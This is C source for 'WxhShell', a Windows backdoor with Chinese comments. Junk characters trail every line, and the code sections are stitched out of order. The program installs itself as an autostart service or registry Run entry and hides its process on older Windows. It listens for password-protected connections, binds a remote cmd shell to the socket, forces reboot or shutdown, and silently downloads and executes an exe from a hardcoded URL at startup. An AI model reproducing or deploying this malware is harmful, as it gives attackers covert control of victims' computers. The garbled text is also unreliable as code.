    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AAdRuO{l1  
    if(Boot(SHUTDOWN)) Sh]x`3 ).  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oA~m*|  
    else { < P5;8  
    closesocket(wsh); lq_W;L  
    ExitThread(0); tGd<{nF%2  
    } N)h>Ie  
    break; "=<l Pi  
    } )B*?se]LJ  
  // 获取shell Prhq ~oI4  
  case 's': { ,/W< E  
    CmdShell(wsh); q'2PG@  
    closesocket(wsh); uPV,-rm[F_  
    ExitThread(0); #Y}Hh7.<  
    break; ?/)5U}*M0T  
  } _'H<zZo  
  // 退出 {7eKv+30  
  case 'x': { gH\r# wy|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^l^_K)tw*  
    CloseIt(wsh); _T5~B"*  
    break; W'XMC"  
    } dY\"'LtF  
  // 离开 2c%}p0<;|?  
  case 'q': { y=vH8D]%X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]QT0sGl  
    closesocket(wsh); {u.V8%8  
    WSACleanup();  A ]U]  
    exit(1); HxY,R ^  
    break; SC2C%.%l`  
        } fe37T@  
  } P>@`hZ9 o  
  } rpEFyHorJ  
G<jpJ  
  // 提示信息 XFu@XUk!K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4nl>&AV  
} ri JyH;)  
  } d BlOU.B  
RaU.yCYyu  
  return; INbjk;k  
} zK-hNDFL{  
WQ5sC[&   
// shell模块句柄 OaCL'!  
int CmdShell(SOCKET sock) BXfaqYb;Q  
{ p fBO5Ys  
STARTUPINFO si; j^%i?BWw  
ZeroMemory(&si,sizeof(si)); mzT} C&hfP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rd,mbH[<C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ox~'w0c,f  
PROCESS_INFORMATION ProcessInfo; @6j*XF  
char cmdline[]="cmd"; z}Z`kq+C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;n;^f&;sJ  
  return 0; `90v~O F  
} phc1AN=[E  
f <w*l<@  
// 自身启动模式 T) ,:8/  
int StartFromService(void) 1=;QWb6  
{ kQ#eWk J,  
typedef struct p_z"Uwp  
{ 9#iDrZW  
  DWORD ExitStatus; sN C?o[9l!  
  DWORD PebBaseAddress; ^X&9"x)4  
  DWORD AffinityMask; 6 gKOpa  
  DWORD BasePriority; .d "+M{I  
  ULONG UniqueProcessId; fiZv+R<x1  
  ULONG InheritedFromUniqueProcessId; aydal 9M  
}   PROCESS_BASIC_INFORMATION; c"YK+2  
N/%#GfXx  
PROCNTQSIP NtQueryInformationProcess; t<|s &  
!n{c#HfG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U2AGH2emw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W vJ?e  
T8441qo{>  
  HANDLE             hProcess; $0*47+f  
  PROCESS_BASIC_INFORMATION pbi; Lq[wabF  
WsV3>=@f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P\ s+2/  
  if(NULL == hInst ) return 0; ,\M_q">npc  
>ek%P;2w>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "B}08C,?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q$vr`yV#=6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); if}]8  
Q*C4  q`  
  if (!NtQueryInformationProcess) return 0; O<h#|g1  
-{*V)J_Co  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3kQ^f=Wd  
  if(!hProcess) return 0; i/J NG  
nwo!A3w:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~yi&wbTjM  
YgiGI <U  
  CloseHandle(hProcess); 4LjSDgA  
9AYe,R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mdrv/x{  
if(hProcess==NULL) return 0; ? 03Zy3 /  
#(IMRdUf  
HMODULE hMod; |I}+!DDuv  
char procName[255]; 'r n;|K  
unsigned long cbNeeded; t4k'9Y:\Q  
Hm* vKFhz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vEe  
IJc#)J.2A  
  CloseHandle(hProcess); _ <a)\UR  
Gr@{p"./z  
if(strstr(procName,"services")) return 1; // 以服务启动 =+h!JgY/L  
_Af4ct;ng  
  return 0; // 注册表启动 ]0i2 ]=J&,  
} uHro%UAd  
+@u C:3jM  
// 主模块 3t8H?B12ow  
int StartWxhshell(LPSTR lpCmdLine) &E &iaw!  
{ D Ok^ON  
  SOCKET wsl; *6D%mrK  
BOOL val=TRUE; PBs<8xBx^  
  int port=0; FFeRE{,  
  struct sockaddr_in door; e6i./bf3  
`O=;E`ep  
  if(wscfg.ws_autoins) Install(); 0^&R7Rv c  
/Tf*d>Yh;  
port=atoi(lpCmdLine); :_\!t45  
`/JR}g{O  
if(port<=0) port=wscfg.ws_port; LEngZ~sV/  
\Tf{ui  
  WSADATA data; wt.{Fqm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  .02(O  
Bb[0\Hs7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (bFWT_CChz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]<;i} n| <  
  door.sin_family = AF_INET; txfwLqx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q xF8=p  
  door.sin_port = htons(port); @oqi@&L'C  
Xf_tj:eO~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0"<;You  
closesocket(wsl); _IKP{WNB  
return 1; <,X+`m&  
} ({_:^$E\  
h,'mN\6t  
  if(listen(wsl,2) == INVALID_SOCKET) { <#p|z`N  
closesocket(wsl); `^bvj]>l  
return 1; 3@F+E\k  
} -6~dJTm[t  
  Wxhshell(wsl); X|damI%  
  WSACleanup(); vzyI::f?  
v_ nBh,2  
return 0; KG-k$glD  
BtpjQNN  
} Xk&F4BJQk<  
gLxT6v5wk.  
// 以NT服务方式启动 28Ssb|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vBnKu  
{ ,'1Olu{v[s  
DWORD   status = 0; yrE,,N%I  
  DWORD   specificError = 0xfffffff; _> |R-vQ8  
Rd vPsv} D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L=$?q/=-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8MeO U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L VU)W^  
  serviceStatus.dwWin32ExitCode     = 0; PQ&Q71  
  serviceStatus.dwServiceSpecificExitCode = 0; wKi}@|0[@  
  serviceStatus.dwCheckPoint       = 0; Y( V3P nH  
  serviceStatus.dwWaitHint       = 0; pRrqs+IJZ\  
uzVG q!'H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #GY&$8.u*  
  if (hServiceStatusHandle==0) return; !rsa4t@ t  
||'i\X|[  
status = GetLastError(); Wlr&g xZ  
  if (status!=NO_ERROR) XAQ\OX#  
{ w]W`R.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z)ft3(!  
    serviceStatus.dwCheckPoint       = 0; ;* wT,2;  
    serviceStatus.dwWaitHint       = 0; ebO`A2V'(  
    serviceStatus.dwWin32ExitCode     = status; o%/-5-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?`N57'iPb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7z/(V\9B  
    return; :_o] F  
  } 7Ykj#"BZ  
)]c]el@y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f!M[awj%  
  serviceStatus.dwCheckPoint       = 0; L@1,7@  
  serviceStatus.dwWaitHint       = 0; ~),;QQ,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P0'e"\$  
} ih+*T1#:(  
%k3NT~  
// 处理NT服务事件,比如:启动、停止 /-!&k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PwFQ#Z  
{ 2~G,Ia  
switch(fdwControl) 9*}iBs  
{ *Fa )\.XX  
case SERVICE_CONTROL_STOP: Sk6b`W7$  
  serviceStatus.dwWin32ExitCode = 0; Xmap9x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NCowt|#t  
  serviceStatus.dwCheckPoint   = 0; N_u&3CG  
  serviceStatus.dwWaitHint     = 0; <mv7HKVg  
  { (R4PD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B`?N,N"  
  } G$?|S@I,  
  return; 0t#NMW  
case SERVICE_CONTROL_PAUSE: ?1GY%-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7ei>L]gm%  
  break; M!eoe5  
case SERVICE_CONTROL_CONTINUE: `3 f_d}b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D+@-XU<Lp<  
  break; (Oxz'#TX  
case SERVICE_CONTROL_INTERROGATE: B<|:K\MA  
  break; OOEV-=  
}; qn2o[x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vOos*&  
} 0lX)Cl  
:y=!{J<  
// 标准应用程序主函数 1 L+=|*:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <lC]>L  
{ j y7  
N=OS\pz  
// 获取操作系统版本 NJn&>/vM  
OsIsNt=GetOsVer(); GE%2/z p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RY9+ 9i  
xj0cgK|!  
  // 从命令行安装 ,/i_QgP  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1*Sr5N[=  
Q Oz9\,C  
  // 下载执行文件 J__;.rnk  
if(wscfg.ws_downexe) { Up<~0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jr9&.8%W:v  
  WinExec(wscfg.ws_filenam,SW_HIDE); :ar?0  
} ~}h^38  
uA~YRKer  
if(!OsIsNt) {  KR&s?  
// 如果时win9x,隐藏进程并且设置为注册表启动 M(qxq(#{U  
HideProc(); . 3Gn ZR,L  
StartWxhshell(lpCmdLine); *Wzwbwg  
} C1V# ?03eI  
else k]Zo-xh4  
  if(StartFromService()) =g@R%NDNV  
  // 以服务方式启动 6^Ph '  
  StartServiceCtrlDispatcher(DispatchTable); ue@8voZhS/  
else L59bu/LfL  
  // 普通方式启动 Am=wEu[b  
  StartWxhshell(lpCmdLine); Ejq=*UOP  
fCB:733H  
return 0; x"vwWJNQ  
} 5|{)Z]M%9  
nB=0T`vQ  
v51EXf  
[Gh"ojt]w  
=========================================== {1~9vHAZ  
VMx%1^/(  
Xem 05%,  
<{giHT  
vVAb'`ysv  
N0Gf0i>  
" u yFn}y62  
27>a#vCT  
#include <stdio.h> ,>u=gA&}  
#include <string.h> gv9=quG  
#include <windows.h> J^fm~P>.  
#include <winsock2.h> 6yI}1g  
#include <winsvc.h> _S"f_W  
#include <urlmon.h> 1~'_K9eE  
=<{ RX8  
#pragma comment (lib, "Ws2_32.lib") "x&3Z@q7  
#pragma comment (lib, "urlmon.lib") XvskB[\  
!qA8Zky_  
#define MAX_USER   100 // 最大客户端连接数 IZ8y}2  
#define BUF_SOCK   200 // sock buffer RlsVC_H\  
#define KEY_BUFF   255 // 输入 buffer Zm(dY*z5:J  
cn%2OP:L^  
#define REBOOT     0   // 重启 G AQ 'Ti1!  
#define SHUTDOWN   1   // 关机 # .<V^  
pc H<gF(k  
#define DEF_PORT   5000 // 监听端口 aX^+ O,  
9cQ_mgch  
#define REG_LEN     16   // 注册表键长度 cx^{/U?9}  
#define SVC_LEN     80   // NT服务名长度 ,)h)5o(?  
Q2/.6O8  
// 从dll定义API  ]>Si0%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .+E#q&=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); . uR M{Bs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iq6a|XGi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); We}lx{E  
'# z]M  
// wxhshell配置信息 v7IzDz6gF  
struct WSCFG { 5j{Np,K  
  int ws_port;         // 监听端口 k=/eM$":  
  char ws_passstr[REG_LEN]; // 口令 @T&t.|`  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7 ({=*  
  char ws_regname[REG_LEN]; // 注册表键名 \Hwg) Uc{  
  char ws_svcname[REG_LEN]; // 服务名 1$ML#5+,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uLN[*D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )ofm_R'q*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }"zC >eX&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <y)E>Fl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +l?; )  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 = .oHnMX2M  
MJ\[Dt  
}; k\N4@UK  
PuXUuJx(  
// default Wxhshell configuration aMK~1]Cx  
struct WSCFG wscfg={DEF_PORT, ;/LD)$_  
    "xuhuanlingzhe", Ct]A%=cZW  
    1, ._ CP% R  
    "Wxhshell", zgKY4R{V  
    "Wxhshell", R$m`Z+/@  
            "WxhShell Service", 7=P^_LcU  
    "Wrsky Windows CmdShell Service", (~s|=Hxq|-  
    "Please Input Your Password: ", ]Kde t"+  
  1, xx8U$,Ng  
  "http://www.wrsky.com/wxhshell.exe", w([$@1]  
  "Wxhshell.exe" g4&jo_3:p  
    }; eW8[I'v_&  
$%2H6Eg0  
// 消息定义模块 D59T?B|BdD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fgF;&(b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lKV"Mh+6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~}%~oT  
char *msg_ws_ext="\n\rExit."; .g% Y@r)=5  
char *msg_ws_end="\n\rQuit."; Kt/)pc  
char *msg_ws_boot="\n\rReboot..."; 1 W'F3  
char *msg_ws_poff="\n\rShutdown..."; +F@_Es<6  
char *msg_ws_down="\n\rSave to "; {CUk1+  
+S~.c;EK  
char *msg_ws_err="\n\rErr!"; cH D%{xlb  
char *msg_ws_ok="\n\rOK!"; u oVNK  
 7}B   
char ExeFile[MAX_PATH]; S~F`  
int nUser = 0; gPEqjj  
HANDLE handles[MAX_USER]; Jb(Y,LO^  
int OsIsNt; 6)*xU|fU  
7*+TP~WI  
SERVICE_STATUS       serviceStatus; F u _@!K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;Zut@z4\  
vRhnX  
// 函数声明 >+9JD%]x]  
int Install(void); =-jD~rN4;P  
int Uninstall(void); p1O6+hRio  
int DownloadFile(char *sURL, SOCKET wsh); wH6u5*$p  
int Boot(int flag); 9 $l>\.6  
void HideProc(void); F $yO  
int GetOsVer(void); cFZCf8:zB  
int Wxhshell(SOCKET wsl); Z(Q2Ue;}&  
void TalkWithClient(void *cs); TD,nIgH`  
int CmdShell(SOCKET sock); XutF"9u  
int StartFromService(void); ~+n,1]W_  
int StartWxhshell(LPSTR lpCmdLine); m],Ud\  
.BZVX=x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s#-eN)1R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "pvZ,l>8f  
Cmd329AH  
// 数据结构和表定义 @}LZ! y  
SERVICE_TABLE_ENTRY DispatchTable[] = 7 'w0  
{ sH!O0WL  
{wscfg.ws_svcname, NTServiceMain}, N:BL=} V  
{NULL, NULL} x:z0EYL  
}; Dy9\O77>  
.p@N:)W6  
// 自我安装 jNl/!l7B  
int Install(void) @h?crJ6$  
{ "S!3m9_#  
  char svExeFile[MAX_PATH]; T] | d 5E  
  HKEY key; >1|g5  
  strcpy(svExeFile,ExeFile); ;#anZC;  
Tj/GClD:%  
// 如果是win9x系统,修改注册表设为自启动 Je7RrCz  
if(!OsIsNt) { M'5 'O;kn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _N#&psQzw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vA&Vu"}S  
  RegCloseKey(key); l I-p_K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lpC @I^:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mN}7H:,  
  RegCloseKey(key); Wd 2sh  
  return 0; Fvl`2W94;  
    } Px;Cg 6  
  } z;3NiY  
} k*$3i  
else { <@#PF$!  
i@$*Csj\9*  
// 如果是NT以上系统,安装为系统服务 d,F5:w&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P%>?[9!Nt  
if (schSCManager!=0) n^9  ?~  
{ >S#ul?  
  SC_HANDLE schService = CreateService tk?UX7F  
  ( p^QZq>v  
  schSCManager, %'ZN`XftG  
  wscfg.ws_svcname, fE;Q:# Z.  
  wscfg.ws_svcdisp, >L>+2z  
  SERVICE_ALL_ACCESS, c@du2ICUc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W|R-J  
  SERVICE_AUTO_START, Dkw7]9Qm  
  SERVICE_ERROR_NORMAL, <y=ovkM3  
  svExeFile, l5O=VqCj  
  NULL, v3^|"}\q5  
  NULL, %$mjJw<|&  
  NULL, J=}F2C   
  NULL, `E>vG-9  
  NULL TSto9 $}*  
  ); =3'(A14C=  
  if (schService!=0) 8vD3=yK%^  
  { j%tEZ"H  
  CloseServiceHandle(schService); F!g;A"?V  
  CloseServiceHandle(schSCManager); Ap<J'?~y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p@I9< ^"  
  strcat(svExeFile,wscfg.ws_svcname); la, h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =*MR(b>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .W.;~`EW  
  RegCloseKey(key); 8z T0_vw  
  return 0; '}{?AUDx  
    } bkv/I{C>?  
  } S/Oxr%H  
  CloseServiceHandle(schSCManager); *\ECf .7jz  
} 3H8Al  
} w|Qd`  
-2*>`,Uu  
return 1;  WL-0(  
} HeS'~Z$  
X;EJ&g/  
// 自我卸载 rsxRk7s@  
int Uninstall(void) h~UJCn zS  
{ p;->hn~D'5  
  HKEY key; zSgjp\  
5*j:K&R-.K  
if(!OsIsNt) { 7),*3c')  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CeW7Ym  
  RegDeleteValue(key,wscfg.ws_regname); K51fC4'{  
  RegCloseKey(key); s[V `e2O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wn84?$BGd  
  RegDeleteValue(key,wscfg.ws_regname); JlIS0hnv  
  RegCloseKey(key); 'NjSu64W  
  return 0; /'&v4C^y>  
  } 8=4^Lm  
} C*pLq5s  
} RKe?.  
else { Q8Te'1Ln!  
t2.juoI(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AM/lbMr  
if (schSCManager!=0) 78w4IICk  
{ SLh~_ 5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +]L)>$6  
  if (schService!=0) :?#cDyW)  
  { VjTAN=  
  if(DeleteService(schService)!=0) { 7}07Pit  
  CloseServiceHandle(schService); Pz {Ig  
  CloseServiceHandle(schSCManager); -W^2*w   
  return 0; %kW3hQ<$  
  } T&*eOr  
  CloseServiceHandle(schService); Y[,U_GX/R  
  } +/_!P;I  
  CloseServiceHandle(schSCManager); {~1M  
} i*A$SJ:}  
} ee\Gl?VN  
u[J7Y  
return 1; 6#-Z@fz%  
} P.1Qc)m4  
qAvvXs=5  
// 从指定url下载文件 auoA   
int DownloadFile(char *sURL, SOCKET wsh) _!;\R7]  
{ 0k7"H]J  
  HRESULT hr; 4sQ~&@[Q+  
char seps[]= "/"; jL2MW(d^Q  
char *token; qIk )'!Vk  
char *file; 1W7 iip,  
char myURL[MAX_PATH]; v6(,Ax&  
char myFILE[MAX_PATH];  l58l  
/Sh4pu"'  
strcpy(myURL,sURL); LA>dkPB  
  token=strtok(myURL,seps); yOM -;h  
  while(token!=NULL) ~Gwas0e Na  
  { +E `063  
    file=token; BiI{8`M!$x  
  token=strtok(NULL,seps); ur`}v|ZY  
  } AF QnCl Of  
>4#tkv>S.  
GetCurrentDirectory(MAX_PATH,myFILE); n *Q4G}p  
strcat(myFILE, "\\"); 0L 7@2|a0  
strcat(myFILE, file); HMFl/%z  
  send(wsh,myFILE,strlen(myFILE),0); L5TNsLx(  
send(wsh,"...",3,0); O]4W|WI3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $)Jc-V 6E  
  if(hr==S_OK) YDdLDE  
return 0; VQ/ <09e  
else )lE3GDAPgZ  
return 1; _TV2)  
?Of{c,2 .  
} 0  %C!`7  
%y!   
// 系统电源模块 ?%_]rr9  
int Boot(int flag) 5I wX\  
{   zd.1  
  HANDLE hToken; (4E.Li<O  
  TOKEN_PRIVILEGES tkp; s}z(|I rH  
;e`D#khB  
  if(OsIsNt) { 8Q#t\$RY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %'$cH$%~J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &8IWDx.7}  
    tkp.PrivilegeCount = 1; _ +0uju?o}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1"*Nb5s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v GulM<YY  
if(flag==REBOOT) { q{jk.:;'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =<Zwv\U  
  return 0; eYnLZ&H5O  
} *8pe<:A#p  
else { ~ `tJvUo0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n-L]YrDPK[  
  return 0; e2,<,~_K6  
} PxdJOtI"  
  } *q\HFI  
  else { sPZV>Q:zY  
if(flag==REBOOT) { 6i*p +S?U"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PprQq_j  
  return 0; qP%Smfp6  
} ]JhDRJ\  
else { UU;Y sj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t*ri`}a{v  
  return 0; )w3XN A_V  
} jn5=N[hd  
} a78;\{&L'  
* wQZ '  
return 1; Q>#)LHX  
} & y 2GQJE  
[57V8%  
// win9x进程隐藏模块 z[<pi :  
void HideProc(void) hx2!YNx !  
{ 4Tbi%vF{  
3XYIbXnk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oIu,rjb  
  if ( hKernel != NULL ) tCF0Ah  
  { _bvtJZ3i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HY%6eUhj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l[x`*+ON:2  
    FreeLibrary(hKernel); Kuzy&NI^w  
  } b5iJ m-  
J OL Z2  
return; ^.><t+tM  
} P(W\aLp  
R`<{W(J;r  
// 获取操作系统版本 ix_$Ok  
int GetOsVer(void) {0m[:af&  
{ jv?aB   
  OSVERSIONINFO winfo; ES2d9/]p-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [W7\c;Do  
  GetVersionEx(&winfo); !x!L&p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RQ$o'U9A  
  return 1; 83O^e&Bt  
  else nk?xNe4  
  return 0; O(WMTa'%  
} 3M>FU4Ug2  
E]e[Ty1  
// 客户端句柄模块 jP{]LJ2.6\  
int Wxhshell(SOCKET wsl) hdNZ":1s  
{ k)4lX|}Vm  
  SOCKET wsh; @"#gO:|[i0  
  struct sockaddr_in client; }E\+e!'!2  
  DWORD myID; 3dzqV aV  
crOtQ  
  while(nUser<MAX_USER) 8Jly! =Qm5  
{ t$kf'An}/  
  int nSize=sizeof(client); HS7 G_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )LS+M_  
  if(wsh==INVALID_SOCKET) return 1; %RR|QY*  
2K7:gd8Ru  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '\vmfp =  
if(handles[nUser]==0) 'Q;?_,`  
  closesocket(wsh); '_yk_[/  
else ObHz+qRG  
  nUser++; -<HvhW  
  } jwE(]u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =v#A&IPA'  
0 6v5/Xf  
  return 0; *ytd.^@r  
} a(t<eN>b!  
J hq5G"  
// 关闭 socket A.cZa  
void CloseIt(SOCKET wsh) #Ew eG^!#  
{ 'rx,f  
closesocket(wsh); 4lo}-@j  
nUser--; UC2 OY Zb  
ExitThread(0); t6>Q e  
} LYo7?rp  
.Y Frb+6  
// 客户端请求句柄 ^xu)~:} i  
void TalkWithClient(void *cs) K#pt8Q  
{ w5JC2   
$ax%K?MBD  
  SOCKET wsh=(SOCKET)cs; BE@H~<E J  
  char pwd[SVC_LEN]; xg%]\#  
  char cmd[KEY_BUFF]; (Y@|h%1W  
char chr[1]; T%vbD*nt.  
int i,j; vWU4ZBT8G  
}[R@HmN   
  while (nUser < MAX_USER) { *[/Xhx"  
H" g&  
if(wscfg.ws_passstr) { 38S&7>0@|q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jc.Uh9Kc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YY>Uf1}*9  
  //ZeroMemory(pwd,KEY_BUFF); -Ce4px?3  
      i=0; TVh7h`Eg  
  while(i<SVC_LEN) { 03jBN2[!  
>" 8j{ s  
  // 设置超时 ee?M o`  
  fd_set FdRead; > <[.  
  struct timeval TimeOut; >$9yQ9&|  
  FD_ZERO(&FdRead); Qvg"5_26v  
  FD_SET(wsh,&FdRead); 4sgwQ$m)  
  TimeOut.tv_sec=8; *X55:yha  
  TimeOut.tv_usec=0; 2gI_*fG1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DG FvRB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @+vTGjHA  
8$olP:d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S; <?nz3  
  pwd=chr[0]; 8WQ%rN={8  
  if(chr[0]==0xd || chr[0]==0xa) { \ } Szb2  
  pwd=0; r6_a%A*  
  break; cCCplL  
  } 6?x{-Zj ^?  
  i++; 31;T$5v1  
    } ty=?SZF  
D6:J*F&?  
  // 如果是非法用户,关闭 socket Q 8E~hgO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E%:zE Q  
} 4V3 w$:,  
\gXx{rLW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ox'.sq4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a[rUU'8  
<LZvh8  
while(1) { `3n*4Lz  
dz9-+C{m  
  ZeroMemory(cmd,KEY_BUFF); 8dB~09Z7  
J>PV{N  
      // 自动支持客户端 telnet标准   H)+kN'J  
  j=0; Jjq%cA  
  while(j<KEY_BUFF) { ]YzAcB.R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dG$0d_Pq  
  cmd[j]=chr[0]; ?8m/]P/~  
  if(chr[0]==0xa || chr[0]==0xd) { O{R5<"g  
  cmd[j]=0; 8;NO>L/J]i  
  break; c!T{|'?  
  } f}!26[_9{  
  j++; %%[TM(z  
    } h;M2yl Ou.  
dfcG'+RU}  
  // 下载文件 mjHY-lK  
  if(strstr(cmd,"http://")) { qZ }XjL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tq8r SZi  
  if(DownloadFile(cmd,wsh)) lukV G2wDL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0wcWDE 9  
  else ]f~YeOB@  
